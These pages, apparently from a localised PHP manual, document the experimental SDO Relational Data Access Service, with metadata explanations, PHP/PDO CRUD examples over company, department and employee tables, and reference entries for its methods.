The second argument to the constructor is the application root type. The true root of each data graph is an object of a special root type and all application data objects come somewhere below that. Of the various application types in the SDO model, one has to be the application type immediately below the root of the data graph. If there is only one table in the database metadata, the application root type can be inferred, and this argument can be omitted.

Specifying the SDO containment relationships

The third argument to the constructor defines how the types in the model are to be linked together to form a graph. It identifies the parent-child relationships between the types which collectively form a graph. The relationships need to be supported by foreign keys to be found in the data, in a way shortly to be described.

The metadata is an array containing one or more associative arrays, each of which identifies a parent and a child. The example below shows a parent-child relationship from company to department, and another from department to employee. Each of these will become an SDO property defining a multi-valued containment relationship in the SDO model.

<?php
$department_containment = array( 'parent' => 'company', 'child' => 'department');
$employee_containment = array( 'parent' => 'department', 'child' => 'employee');

$SDO_containment_metadata = array($department_containment, $employee_containment);
?>

Foreign keys in the database metadata are interpreted as properties with either multi-valued containment relationships or single-valued non-containment references, depending on whether they have a corresponding SDO containment relationship specified in the metadata. In the example here, the foreign keys from department to company (the co_id column in the department table) and from employee to department (the dept_id column in the employee table) are interpreted as supporting the SDO containment relationships. Each containment relationship mentioned in the SDO containment relationships metadata must have a corresponding foreign key present in the database and defined in the database metadata. The values of the foreign key columns for containment relationships do not appear in the data objects, instead each is represented by a containment relationship from the parent to the child. So the co_id column in the department row in the database, for example, does not appear as a property on the department type, but instead as a containment relationship called department on the company type. Note that the foreign key and the parent-child relationship appear to have opposite senses: the foreign key points from the department to the company, but the parent-child relationship points from company to department.

The third foreign key in this example, the employee_of_the_month , is handled differently. This is not mentioned in the SDO containment relationships metadata. As a consequence this is interpreted in the second way: it becomes a single-valued non-containment reference on the company object, to which can be assigned references to SDO data objects of the employee type. It does appear as a property on the company type. The way to assign a value to it in the SDO data graph is to have a graph that contains an employee object through the containment relationships, and to assign the object to it. This is illustrated in the later examples below.

User Contributed Notes

There are no user contributed notes for this page.


One-table examples

The following set of examples all use the Relational DAS to work with a data graph containing just one application data object, a single company and the data just to be found the company table. These examples do not exercise the power of SDO or the Relational DAS and of course the same result could be achieved more economically with direct SQL statements but they are intended to illustrate how to work with the Relational DAS.

For this very simple scenario it would be possible to simplify the database metadata to include just the company table - if that were done the second and third arguments to the constructor and the column specifier used in the query example would become optional.

Example #1 Creating a data object

The simplest example is that of creating a single data object and writing it to the database. In this example a single company object is created, its name is set to 'Acme', and the Relational DAS is called to write the changes to the database. The company name is set here using the property name method. See the Examples section on the SDO extension for other ways of accessing the properties of an object.

Data objects can only be created when you have a data object to start with, however. It is for that reason that the first call to the Relational DAS here is to obtain a root object. This is in effect how to ask for an empty data graph - the special root object is the true root of the tree. The company data object is then created with a call to createDataObject() on the root object. This creates the company data object and inserts it in the graph by inserting into a multi-valued containment property on the root object called 'company'.

When the Relational DAS is called to apply the changes a simple insert statement 'INSERT INTO company (name) VALUES ("Acme");' will be constructed and executed. The auto-generated primary key will be set into the data object and the change summary will be reset, so that it would be possible to continue working with the same data object, modify it, and apply the newer changes a second time.

<?php
require_once 'SDO/DAS/Relational.php';
require_once 'company_metadata.inc.php';

/**************************************************************
* Construct the DAS with the metadata
***************************************************************/
$das = new SDO_DAS_Relational ($database_metadata,'company',$SDO_containment_metadata);

/**************************************************************
* Obtain a root object and create a company object underneath.
* Make a simple change to the data object.
***************************************************************/
$root = $das  -> createRootDataObject();
$acme = $root -> createDataObject('company');

$acme->name = "Acme";

/**************************************************************
* Get a database connection and write the object to the database
***************************************************************/
$dbh = new PDO(PDO_DSN,DATABASE_USER,DATABASE_PASSWORD);
$das -> applyChanges($dbh, $root);
?>

Example #2 Retrieving a data object

In this example a single data object is retrieved from the database - or possibly more than one if there is more than one company called 'Acme'. For each company returned, the name and id properties are echoed.

In this example the third argument to executeQuery(), the column specifier is needed as there are other tables in the metadata with column names of name and id. If there were no possible ambiguity it could be omitted.

<?php
require_once 'SDO/DAS/Relational.php';
require_once 'company_metadata.inc.php';

/**************************************************************
* Construct the DAS with the metadata
***************************************************************/
$das = new SDO_DAS_Relational ($database_metadata,'company',$SDO_containment_metadata);

/**************************************************************
* Get a database connection
***************************************************************/
$dbh = new PDO(PDO_DSN,DATABASE_USER,DATABASE_PASSWORD);

/**************************************************************
* Issue a query to obtain a company object - possibly more if they exist
***************************************************************/
$root = $das->executeQuery($dbh,
         'select name, id from company where name="Acme"',
          array('company.name', 'company.id') );

/**************************************************************
* Echo name and id
***************************************************************/
foreach ($root['company'] as $company) {
  echo "Company obtained from the database has name = " .
  $company['name'] . " and id " . $company['id'] . "\n";
}
?>

Example #3 Updating a data object

This example combines the previous two, in the sense that in order to be updated the object must first be retrieved. The application code reverses the company name (so 'Acme' becomes 'emcA') and then the changes are written back to the database in the same way that they were when the object was created. Because the query searches for the name both ways round the program can be run repeatedly to find the company and reverse its name each time.

In this example the same instance of the Relational DAS is reused for the applyChanges(), as is the PDO database handle. This is quite alright; it also alright to allow the previous instances to be garbage collected and to obtain new instances. No state data regarding the graph is held the Relational DAS once it has returned a data graph to the application. All necessary data is either within the graph itself, or can be reconstructed from the metadata.

<?php
require_once 'SDO/DAS/Relational.php';
require_once 'company_metadata.inc.php';

/**************************************************************
* Construct the DAS with the metadata
***************************************************************/
$das = new SDO_DAS_Relational ($database_metadata,'company',$SDO_containment_metadata);

/**************************************************************
* Get a database connection
***************************************************************/
$dbh = new PDO(PDO_DSN,DATABASE_USER,DATABASE_PASSWORD);

/**************************************************************
* Issue a query to obtain a company object - possibly more if they exist
***************************************************************/
$root = $das->executeQuery($dbh,
  'select name, id from company where name="Acme" or name="emcA"',
  array('company.name', 'company.id') );

/**************************************************************
* Alter the name of just the first company
***************************************************************/
$company = $root['company'][0];
echo "obtained a company with name of " . $company->name . "\n";
$company->name = strrev($company->name);

/**************************************************************
* Write the change back
***************************************************************/
$das->applyChanges($dbh,$root);
?>

Example #4 Deleting a data object

Any companies called 'Acme' or its reverse 'emcA' are retrieved. They are then all deleted from the graph with unset.

In this example they are all deleted in one go by unsetting the containing property (the property defining the containment relationship). It is also possible to delete them individually.

<?php
require_once 'SDO/DAS/Relational.php';
require_once 'company_metadata.inc.php';

/**************************************************************
* Construct the DAS with the metadata
***************************************************************/
$das = new SDO_DAS_Relational ($database_metadata,'company',$SDO_containment_metadata);

/**************************************************************
* Get a database connection
***************************************************************/
$dbh = new PDO(PDO_DSN,DATABASE_USER,DATABASE_PASSWORD);

/**************************************************************
* Issue a query to obtain a company object - possibly more if they exist
***************************************************************/
$root = $das->executeQuery($dbh,
  'select name, id from company where name="Acme" or name="emcA"',
  array('company.name', 'company.id') );

/**************************************************************
* Delete any companies found from the data graph
***************************************************************/
unset($root['company']);

/**************************************************************
* Write the change(s) back
***************************************************************/
$das->applyChanges($dbh,$root);
?>

User Contributed Notes

There are no user contributed notes for this page.


Two-table examples

The following set of examples all use two tables from the company database: the company and department tables. These examples exercise more of the function of the Relational DAS.

In this series of examples a company and department are created, retrieved, updated, and finally deleted. This illustrates the lifecycle for a data graph containing more than one object. Note that this example clears out the company and department tables at the start so that the exact results of the queries can be known.

You can find these examples combined into one script called 1cd-CRUD in the Scenarios directory in the Relational DAS package.

Example #1 One company, one department - Create

As in the earlier example of creating just one company data object, the first action after constructing the Relational DAS is to call createRootDataObject() to obtain the special root object of the otherwise empty data graph. The company object is then created as a child of the root object, and the department object as a child of the company object.

When it comes to applying the changes, the Relational DAS has to perform special processing to maintain the foreign keys that support the containment relationships, especially if auto-generated primary keys are involved. In this example, the relationship between the auto-generated primary key id in the company table and the co_id column in the department table must be maintained. When inserting a company and department for the first time the Relational DAS has to first insert the company row, then call PDO's getLastInsertId() method to obtain the auto-generated primary key, then add that as the value of the co_id column when inserting the department row.

<?php
require_once 'SDO/DAS/Relational.php';
require_once 'company_metadata.inc.php';

/*************************************************************************************
* Empty out the two tables
*************************************************************************************/
$dbh = new PDO(PDO_DSN,DATABASE_USER,DATABASE_PASSWORD);
$pdo_stmt = $dbh->prepare('DELETE FROM COMPANY;');
$rows_affected = $pdo_stmt->execute();
$pdo_stmt = $dbh->prepare('DELETE FROM DEPARTMENT;');
$rows_affected = $pdo_stmt->execute();

/**************************************************************
* Create a company with name Acme and one department, the Shoe department
***************************************************************/
$dbh = new PDO(PDO_DSN,DATABASE_USER,DATABASE_PASSWORD);
$das = new SDO_DAS_Relational ($database_metadata,'company',$SDO_containment_metadata);

$root = $das -> createRootDataObject();

$acme = $root -> createDataObject('company');
$acme -> name = "Acme";

$shoe = $acme->createDataObject('department');
$shoe->name = 'Shoe';

$das -> applyChanges($dbh, $root);

?>

Example #2 One company, one department - Retrieve and Update

In this case the SQL query passed to executeQuery() performs an inner join to join the data from the company and department tables. Primary keys for both the company and department tables must be included in the query. The result set is re-normalised to form a normalised data graph. Note that a column specifier is passed as the third argument to the executeQuery() call enabling the Relational DAS to know which column is which in the result set.

Note that the co_id column although used in the query is not needed in the result set. In order to understand what the Relational DAS is doing when it builds the data graph it may be helpful to visualise what the result set looks like. Although the data in the database is normalised, so that multiple department rows can point through their foreign key to one company row, the data in the result set is non-normalised: that is, if there is one company and multiple departments, the values for the company are repeated in each row. The Relational DAS has to reverse this process and turn the result set back into a normalised data graph, with just one company object.

In this example the Relational DAS will examine the result set and column specifier, find data for both the company and department tables, find primary keys for both, and interpret each row as containing data for a department and its parent company. If it has not seen data for that company before (it uses the primary key to check) it creates a company object and then a department object underneath it. If it has seen data for that company before and has already created the company object it just creates the department object underneath.

In this way the Relational DAS can retrieve and renormalise data for multiple companies and multiple departments underneath them.

<?php
require_once 'SDO/DAS/Relational.php';
require_once 'company_metadata.inc.php';

/**************************************************************
* Retrieve the company and Shoe department, then delete Shoe and add IT
***************************************************************/
$dbh = new PDO(PDO_DSN,DATABASE_USER,DATABASE_PASSWORD);
$das = new SDO_DAS_Relational ($database_metadata,'company',$SDO_containment_metadata);

$root = $das->executeQuery($dbh,
'select c.id, c.name, d.id, d.name from company c, department d where d.co_id = c.id',
array('company.id','company.name','department.id','department.name'));

$acme = $root['company'][0];            // get the first company - will be 'Acme'
$shoe = $acme['department'][0];         // get the first department underneath - will be 'Shoe'

unset($acme['department'][0]);

$it = $acme->createDataObject('department');
$it->name = 'IT';

$das -> applyChanges($dbh, $root);
?>

Example #3 One company, two departments - Retrieve and Delete

In this example the company and department are retrieved and then deleted. It is not necessary to delete them individually (although that would be possible) - deleting the company object from the data graph also deletes any departments underneath it.

Note the way that the company object is actually deleted using the PHP unset call. The unset has to be performed on the containing property which in this case is the company property on the special root object. You must use:

<?php
unset($root['company'][0]);
?>
and not:
<?php
unset($acme); //WRONG
?>
Simply unsetting $acme would destroy the variable but leave the data in the data graph untouched.

<?php
require_once 'SDO/DAS/Relational.php';
require_once 'company_metadata.inc.php';

/**************************************************************
* Retrieve the company and IT department, then delete the whole company
***************************************************************/
$dbh = new PDO(PDO_DSN,DATABASE_USER,DATABASE_PASSWORD);
$das = new SDO_DAS_Relational ($database_metadata,'company',$SDO_containment_metadata);

$root = $das->executeQuery($dbh,
'select c.id, c.name, d.id, d.name from company c, department d where d.co_id = c.id',
array('company.id','company.name','department.id','department.name'));

$acme = $root['company'][0];
$it = $acme['department'][0];

unset($root['company'][0]);

$das -> applyChanges($dbh, $root);

?>

User Contributed Notes

There are no user contributed notes for this page.


Three-table example

The following examples use all three tables from the company database: the company, department, and employee tables. These introduce the final piece of function not exercised by the examples above: the non-containment reference employee_of_the_month.

Like the examples above for company and department, this set of examples is intended to illustrate the full lifecycle of such a data graph.

Example #1 One company, one department, one employee - Create

In this example a company is created containing one department and just one employee. Note that this example clears out all three tables at the start so that the exact results of the queries can be known.

Note how once the company, department and employee have been created, the employee_of_the_month property of the company can be made to point at the new employee. As this is a non-containment reference, this cannot be done until the employee object has been created within the graph. Non-containment references need to be managed carefully. For example if the employee were now deleted from under the department, it would not be correct to try to save the graph without first clearing or re-assigning the employee_of_the_month property. The closure rule for SDO data graphs requires that any object pointed at by a non-containment reference must also be reachable by containment relationships.

When it comes to inserting the graph into the database, the procedure is similar to the example of inserting the company and department, but employee_of_the_month introduces an extra complexity. The Relational DAS needs to insert the objects working down the tree formed by containment relationships, so company, then department, then employee. This is necessary so that it always has the auto-generated primary key of a parent on hand to include in a child row. But when the company row is inserted the employee who is employee of the month has not yet been inserted and the primary key is not known. The procedure is that after the employee record is inserted and its primary key known, a final step is performed in which the company record is updated with the employee's primary key.

<?php
require_once 'SDO/DAS/Relational.php';
require_once 'company_metadata.inc.php';

/*************************************************************************************
* Empty out the three tables
*************************************************************************************/
$dbh = new PDO(PDO_DSN,DATABASE_USER,DATABASE_PASSWORD);
$pdo_stmt = $dbh->prepare('DELETE FROM COMPANY;');
$rows_affected = $pdo_stmt->execute();
$pdo_stmt = $dbh->prepare('DELETE FROM DEPARTMENT;');
$rows_affected = $pdo_stmt->execute();
$pdo_stmt = $dbh->prepare('DELETE FROM EMPLOYEE;');
$rows_affected = $pdo_stmt->execute();

/*************************************************************************************
* Create a tiny but complete company.
* The company name is Acme.
* There is one department, Shoe.
* There is one employee, Sue.
* The employee of the month is Sue.
*************************************************************************************/
$das = new SDO_DAS_Relational ($database_metadata,'company',$SDO_containment_metadata);
$dbh = new PDO(PDO_DSN,DATABASE_USER,DATABASE_PASSWORD);

$root             = $das  -> createRootDataObject();
$acme             = $root -> createDataObject('company');
$acme -> name     = "Acme";
$shoe             = $acme -> createDataObject('department');
$shoe -> name     = 'Shoe';
$shoe -> location = 'A-block';
$sue              = $shoe -> createDataObject('employee');
$sue -> name      = 'Sue';
$acme -> employee_of_the_month = $sue;

$das -> applyChanges($dbh, $root);

echo "Wrote back Acme with one department and one employee\n";
?>

Example #2 One company, one department, one employee - Retrieve and update

The SQL statement passed to the Relational DAS is this time an inner join that retrieves data from all three tables. Otherwise this example introduces nothing that has not appeared in a previous example.

The graph is updated by the addition of a new department and employee and some alterations to the name properties of the existing objects in the graph. The combined changes are then written back. The Relational DAS will process and apply an arbitrary mixture of additions, modifications and deletions to and from the data graph.

<?php
require_once 'SDO/DAS/Relational.php';
require_once 'company_metadata.inc.php';

/*************************************************************************************
* Find the company again and change various aspects.
* Change the name of the company, department and employee.
* Add a second department and a new employee.
* Change the employee of the month.
*************************************************************************************/
$das = new SDO_DAS_Relational ($database_metadata,'company',$SDO_containment_metadata);
$dbh = new PDO(PDO_DSN,DATABASE_USER,DATABASE_PASSWORD);

$root = $das->executeQuery($dbh,
  "select c.id, c.name, c.employee_of_the_month, d.id, d.name, e.id, e.name " .
  "from company c, department d, employee e " .
  "where e.dept_id = d.id and d.co_id = c.id and c.name='Acme'",
   array('company.id','company.name','company.employee_of_the_month',
   'department.id','department.name','employee.id','employee.name'));
$acme         = $root['company'][0];

$shoe         = $acme->department[0];
$sue          = $shoe -> employee[0];

$it           = $acme->createDataObject('department');
$it->name     = 'IT';
$it->location = 'G-block';
$billy        = $it->createDataObject('employee');
$billy->name  = 'Billy';

$acme->name   = 'MegaCorp';
$shoe->name   = 'Footwear';
$sue->name    = 'Susan';

$acme->employee_of_the_month = $billy;
$das -> applyChanges($dbh, $root);
echo "Wrote back company with extra department and employee and all the names changed (Megacorp/Footwear/Susan)\n";

?>

Example #3 One company, two departments, two employees - Retrieve and delete

The company is retrieved as a complete data graph containing five data objects - the company, two departments and two employees. They are all deleted by deleting the company object. Deleting an object from the graph deletes all the object beneath it in the graph. Five SQL DELETE statements will be generated and executed. As always they will be qualified with a WHERE clause that contains all of the fields that were retrieved, so that any updates to the data in the database in the meantime by another process will be detected.

<?php
require_once 'SDO/DAS/Relational.php';
require_once 'company_metadata.inc.php';

/*************************************************************************************
* Now read it one more time and delete it.
* You can delete part, apply the changes, then carry on working with the same graph but
* care is needed to keep closure - you cannot delete the employee who is eotm without
* reassigning. For safety here we delete the company all in one go.
*************************************************************************************/
$das = new SDO_DAS_Relational ($database_metadata,'company',$SDO_containment_metadata);
$dbh = new PDO(PDO_DSN,DATABASE_USER,DATABASE_PASSWORD);

$root = $das->executeQuery($dbh,
  "select c.id, c.name, c.employee_of_the_month, d.id, d.name, e.id, e.name " .
  "from company c, department d, employee e " .
  "where e.dept_id = d.id and d.co_id = c.id and c.name='MegaCorp';",
   array('company.id','company.name','company.employee_of_the_month',
   'department.id','department.name','employee.id','employee.name'));
$megacorp = $root['company'][0];

unset($root['company']);
$das -> applyChanges($dbh, $root);

echo "Deleted the company, departments and employees all in one go.\n";

?>

User Contributed Notes

There are no user contributed notes for this page.


Limitations

There are the following limitations in the current release of the Relational DAS:

  • No support for nulls. There is no support for SQL NULL type. It is not legal to assign PHP NULL to a data object property and the Relational DAS will not write that back as a NULL to the database. If nulls are found in the database on a query, the property will remain unset.

  • Only two types of SDO relationship. The metadata described below allows the Relational DAS to model just two types of SDO relationship: multi-valued containment relationships and single-valued non-containment references. In SDO, whether a property describes a single- or multi-valued relationship, and whether it is containment or non-containment, are independent. The full range of possibilities that SDO allows cannot all be defined. There may be relationships that it would be useful to model but which the current implementation cannot manage. One example is a single-valued containment relationship.

  • No support for the full range of SDO data types. The Relational DAS defines all primitive properties in the SDO model as being of type string. SDO defines a richer set of types containing various integer, float, boolean and data and time types. String is adequate for the purposes of the Relational DAS since the combination of PHP, PDO and the database will ensure that values passed as strings will be converted to the proper type before being put in the database. This does affect some scenarios in which the Relational DAS has to work with a data graph that has come from or will go to a different DAS.

  • Only one foreign key per table. The metadata only provides the means to specify one foreign key per table. This foreign key may be mapped to one of the two types of SDO relationship supported. Obviously there are some scenarios that cannot be described under this limitation - it is not possible to have two non-containment references from one table to another for example.

User Contributed Notes

There are no user contributed notes for this page.


SDO-DAS-Relational 函数

预定义类

The Relational DAS provides two classes: the Relational DAS itself and the subclass of Exception that can be thrown. The Relational DAS has four publicly useful calls: the constructor, the createRootDataObject() call to obtain the root object of an empty data graph, the executeQuery() call to obtain a data graph containing data from a relational database, and the applyChanges() call to write changes made to a data graph back to the relational database.

SDO_DAS_Relational

The only object other than an SDO_DAS_Relational_Exception with which the application is expected to interact.

方法

  • __construct - construct the Relational DAS with a model derived from the passed metadata

  • createRootDataObject - obtain an otherwise empty data graph containing just the special root object

  • executeQuery - execute an SQL query passed as a literal string and return the results as a normalised data graph

  • executePreparedQuery - execute an SQL query passed as a prepared statement, with a list of values to substitute for placeholders, and return the results as a normalised data graph

  • applyChanges - examine the change summary in the data graph and apply those changes back to the database, subject to an assumption of optimistic concurrency

SDO_DAS_Relational_Exception

Is a subclass of PHP's Exception. It adds no behaviour to Exception. Thrown, with useful descriptive text, to signal errors in the metadata or unexpected failures to perform SQL operations.

Table of Contents

  • SDO_DAS_Relational::applyChanges — Applies the changes made to a data graph back to the database
  • SDO_DAS_Relational::__construct — Creates an instance of a Relational Data Access Service
  • SDO_DAS_Relational::createRootDataObject — Returns the special root object in an otherwise empty data graph. Used when creating a data graph from scratch
  • SDO_DAS_Relational::executePreparedQuery — Executes an SQL query passed as a prepared statement, with a list of values to substitute for placeholders, and return the results as a normalised data graph
  • SDO_DAS_Relational::executeQuery — Executes a given SQL query against a relational database and returns the results as a normalised data graph

User Contributed Notes

There are no user contributed notes for this page.


Applies the changes made to a data graph back to the database

  • ? SDO-DAS-Relational 函数
  • SDO_DAS_Relational::__construct ?
  • PHP Manual
  • SDO-DAS-Relational 函数
  • Applies the changes made to a data graph back to the database

SDO_DAS_Relational::applyChanges

(^)

SDO_DAS_Relational::applyChanges — Applies the changes made to a data graph back to the database

说明

SDO_DAS_Relational::applyChanges ( PDO $database_handle , SDODataObject $root_data_object ) : void
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Given a PDO database handle and the special root object of a data graph, examine the change summary in the datagraph and applies the changes to the database. The changes that it can apply can be creations of data objects, deletes of data objects, and modifications to properties of data objects.

参数

PDO_database_handle

Constructed using the PDO extension. A typical line to construct a PDO database handle might look like this:

$dbh = new PDO("mysql:dbname=COMPANYDB;host=localhost",DATABASE_USER,DATABASE_PASSWORD);

root_data_object

The special root object which is at the top of every SDO data graph.

返回值

None. Note however that the datagraph that was passed is still intact and usable. Furthermore, if data objects were created and written back to a table with autogenerated primary keys, then those primary keys will now be set in the data objects. If the changes were successfully written, then the change summary associated with the datagraph will have been cleared, so that it is possible to now make further changes to the data graph and apply those changes in turn. In this way it is possible to work with the same data graph and apply changes repeatedly.

错误／异常

SDO_DAS_Relational::applyChanges() can throw an SDO_DAS_Relational_Exception if it is unable to apply all the changes correctly.

The Relational DAS starts a database transaction before beginning to apply the changes and will commit the transaction only if they are all successful. The Relational DAS generates qualified update and delete statements which contain a where clause that specifies that the row to be updated or deleted must contain the same values that it did when the data was first retrieved. This is how the optimistic concurrency is implemented. If any of the qualified update or delete statements fails to update or delete their target row, it may be because the data has been altered in the database in the meantime. In any event, if any update fails for any reason, the transaction is rolled back and an exception thrown. The exception will contain the generated SQL statement that failed.

The Relational DAS also catches any PDO exceptions and obtains PDO diagnostic information which it includes in an SDO_DAS_Relational_Exception which it then throws.

范例

Please see the Examples section in the general information about the Relational DAS for many examples of calling this method. Please see also the section on Tracing to see how you can see what SQL statements are generated by the Relational DAS.

User Contributed Notes

There are no user contributed notes for this page.


Creates an instance of a Relational Data Access Service

  • ? SDO_DAS_Relational::applyChanges
  • SDO_DAS_Relational::createRootDataObject ?
  • PHP Manual
  • SDO-DAS-Relational 函数
  • Creates an instance of a Relational Data Access Service

SDO_DAS_Relational::__construct

(^)

SDO_DAS_Relational::__construct — Creates an instance of a Relational Data Access Service

说明

SDO_DAS_Relational::__construct ( array $database_metadata [, string $application_root_type [, array $SDO_containment_references_metadata ]] )
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Constructs an instance of a Relational Data Access Service from the passed metadata.

参数

database_metadata

An array containing one or more table definitions, each of which is an associative array containing the keys name, columns, PK, and optionally, FK. For a full discussion of the metadata, see the metadata section in the general information about the Relational DAS.

application_root_type

The root of each data graph is an object of a special root type and the application data objects come below that. Of the various application types in the SDO model, one has to be the application type immediately below the root of the data graph. If there is only one table in the database metadata, so the application root type can be inferred, this argument can be omitted.

SDO_containment_references_metadata

An array containing one or more definitions of a containment relation, each of which is an associative array containing the keys parent and child. The containment relations describe how the types in the model are connected to form a tree. The type specified as the application root type must be present as one of the parent types in the containment references. If the application only needs to work with one table at a time, and there are no containment relations in the model, this argument can be omitted. For a full discussion of the metadata, see the metadata section in the general information about the Relational DAS.

返回值

Returns an SDO_DAS_Relational object on success.

错误／异常

SDO_DAS_Relational::__construct() throws a SDO_DAS_Relational_Exception if any problems are found in the metadata.

范例

For a full discussion of the metadata, see the metadata section in the general information about the Relational DAS.

User Contributed Notes

There are no user contributed notes for this page.


Returns the special root object in an otherwise empty data graph. Used when creating a data graph from scratch

  • ? SDO_DAS_Relational::__construct
  • SDO_DAS_Relational::executePreparedQuery ?
  • PHP Manual
  • SDO-DAS-Relational 函数
  • Returns the special root object in an otherwise empty data graph. Used when creating a data graph from scratch

SDO_DAS_Relational::createRootDataObject

(^)

SDO_DAS_Relational::createRootDataObject — Returns the special root object in an otherwise empty data graph. Used when creating a data graph from scratch

说明

SDO_DAS_Relational::createRootDataObject ( void ) : SDODataObject
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Returns the special root object at the top of an otherwise empty data graph. This call is used when the application wants to create a data graph from scratch, without having called executeQuery() to create a data graph.

The special root object has one multi-valued containment property, with a name of the application root type that was passed when the Relational DAS was constructed. The property can take values of only that type. The only thing that the application can usefully do with the root type is to call createDataObject() on it, passing the name of the application root type, in order to create a data object of their own application type.

参数

None.

返回值

The root object.

错误／异常

None.

范例

Please see the Examples section in the general information about the Relational DAS for many examples of calling this method.

User Contributed Notes

There are no user contributed notes for this page.


Executes an SQL query passed as a prepared statement, with a list of values to substitute for placeholders, and return the results as a normalised data graph

  • ? SDO_DAS_Relational::createRootDataObject
  • SDO_DAS_Relational::executeQuery ?
  • PHP Manual
  • SDO-DAS-Relational 函数
  • Executes an SQL query passed as a prepared statement, with a list of values to substitute for placeholders, and return the results as a normalised data graph

SDO_DAS_Relational::executePreparedQuery

(^)

SDO_DAS_Relational::executePreparedQuery — Executes an SQL query passed as a prepared statement, with a list of values to substitute for placeholders, and return the results as a normalised data graph

说明

SDO_DAS_Relational::executePreparedQuery ( PDO $database_handle , PDOStatement $prepared_statement , array $value_list [, array $column_specifier ] ) : SDODataObject
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Executes a given query against the relational database, using the supplied PDO database handle. Differs from the simpler executeQuery() in that it takes a prepared statement and a list of values. This is the appropriate call to use either when the statement is to executed a number of times with different arguments, and there is therefore a performance benefit to be had from preparing the statement only once, or when the SQL statement is to contain varying values taken from a source that cannot be completely trusted. In this latter case it may be unsafe to construct the SQL statement by simply concatenating the parts of the statement together, since the values may contain pieces of SQL. To guard against this, a so-called SQL injection attack, it is safer to prepare the SQL statement with placeholders (also known as parameter markers, denoted by '?') and supply a list of the values to be substituted as a separate argument. Otherwise this function is the same as executeQuery() in that it uses the model that it built from the metadata to interpret the result set and returns a data graph.

参数

PDO_database_handle

Constructed using the PDO extension. A typical line to construct a PDO database handle might look like this:

$dbh = new PDO("mysql:dbname=COMPANYDB;host=localhost",DATABASE_USER,DATABASE_PASSWORD);

prepared_statement

A prepared SQL statement to be executed against the database. This will have been prepared by PDO's prepare() method.

value_list

An array of the values to be substituted into the SQL statement in place of the placeholders. In the event that there are no placeholders or parameter markers in the SQL statement then this argument can be specified as NULL or as an empty array;

column_specifier

The Relational DAS needs to examine the result set and for every column, know which table and which column of that table it came from. In some circumstances it can find this information for itself, but sometimes it cannot. In these cases a column specifier is needed, which is an array that identifies the columns. Each entry in the array is simply a string in the form table-name.column_name.

The column specifier is needed when there are duplicate column names in the database metadata, For example, in the database used within the examples, all the tables have both a id and a name column. When the Relational DAS fetches the result set from PDO it can do so with the PDO_FETCH_ASSOC attribute, which will cause the columns in the results set to be labelled with the column name, but will not distinguish duplicates. So this will only work when there are no duplicates possible in the results set.

To summarise, specify a column specifier array whenever there is any uncertainty about which column could be from which table and only omit it when every column name in the database metadata is unique.

All of the examples in the Examples use a column specifier. There is one example in the Scenarios directory of the installation that does not: that which works with just the employee table, and because it works with just one table, there can not exist duplicate column names.

返回值

Returns a data graph. Specifically, it returns a root object of a special type. Under this root object will be the data from the result set. The root object will have a multi-valued containment property with the same name as the application root type specified on the constructor, and that property will contain one or more data objects of the application root type.

In the event that the query returns no data, the special root object will still be returned but the containment property for the application root type will be empty.

错误／异常

SDO_DAS_Relational::executePreparedQuery() can throw an SDO_DAS_Relational_Exception if it is unable to construct the data graph correctly. This can occur for a number of reasons: for example if it finds that it does not have primary keys in the result set for all the objects. It also catches any PDO exceptions and obtains PDO diagnostic information which it includes in an SDO_DAS_Relational_Exception which it then throws.

范例

Example #1 Retrieving a data object using executePreparedQuery()

In this example a single data object is retrieved from the database - or possibly more than one if there is more than one company called 'Acme'. For each company returned, the name and id properties are echoed.

Other examples of the use of executePreparedQuery() can be found in the example code supplied in sdo/DAS/Relational/Scenarios.

<?php
require_once 'SDO/DAS/Relational.php';
require_once 'company_metadata.inc.php';

/**************************************************************
 * Construct the DAS with the metadata
 ***************************************************************/
$das = new SDO_DAS_Relational ($database_metadata,'company',$SDO_reference_metadata);

/**************************************************************
 * Get a database connection
 ***************************************************************/
$dbh = new PDO(PDO_DSN,DATABASE_USER,DATABASE_PASSWORD);

/**************************************************************
 * Issue a query to obtain a company object - possibly more if they exist
 * Use a prepared query with a placeholder.
 ***************************************************************/
$name = 'Acme';
$pdo_stmt = $dbh->prepare('select name, id from company where name=?');
$root = $das->executePreparedQuery(
    $dbh,
    $pdo_stmt,
    array($name),
    array('company.name', 'company.id'));

/**************************************************************
 * Echo name and id
 ***************************************************************/
foreach ($root['company'] as $company) {
    echo "Company obtained from the database has name = " .
    $company['name'] . " and id " . $company['id'] . "\n";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Executes a given SQL query against a relational database and returns the results as a normalised data graph

  • ? SDO_DAS_Relational::executePreparedQuery
  • SDO DAS XML ?
  • PHP Manual
  • SDO-DAS-Relational 函数
  • Executes a given SQL query against a relational database and returns the results as a normalised data graph

SDO_DAS_Relational::executeQuery

(^)

SDO_DAS_Relational::executeQuery — Executes a given SQL query against a relational database and returns the results as a normalised data graph

说明

SDO_DAS_Relational::executeQuery ( PDO $database_handle , string $SQL_statement [, array $column_specifier ] ) : SDODataObject
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Executes a given query against the relational database, using the supplied PDO database handle. Uses the model that it built from the metadata to interpret the result set. Returns a data graph.

参数

PDO_database_handle

Constructed using the PDO extension. A typical line to construct a PDO database handle might look like this:

$dbh = new PDO("mysql:dbname=COMPANYDB;host=localhost",DATABASE_USER,DATABASE_PASSWORD);

SQL_statement

The SQL statement to be executed against the database.

column_specifier

The Relational DAS needs to examine the result set and for every column, know which table and which column of that table it came from. In some circumstances it can find this information for itself, but sometimes it cannot. In these cases a column specifier is needed, which is an array that identifies the columns. Each entry in the array is simply a string in the form table-name.column_name.

The column specifier is needed when there are duplicate column names in the database metadata. For example, in the database used within the examples, all the tables have both a id and a name column. When the Relational DAS fetches the result set from PDO it can do so with the PDO_FETCH_ASSOC attribute, which will cause the columns in the results set to be labelled with the column name, but will not distinguish duplicates. So this will only work when there are no duplicates possible in the results set.

To summarise, specify a column specifier array whenever there is any uncertainty about which column could be from which table and only omit it when every column name in the database metadata is unique.

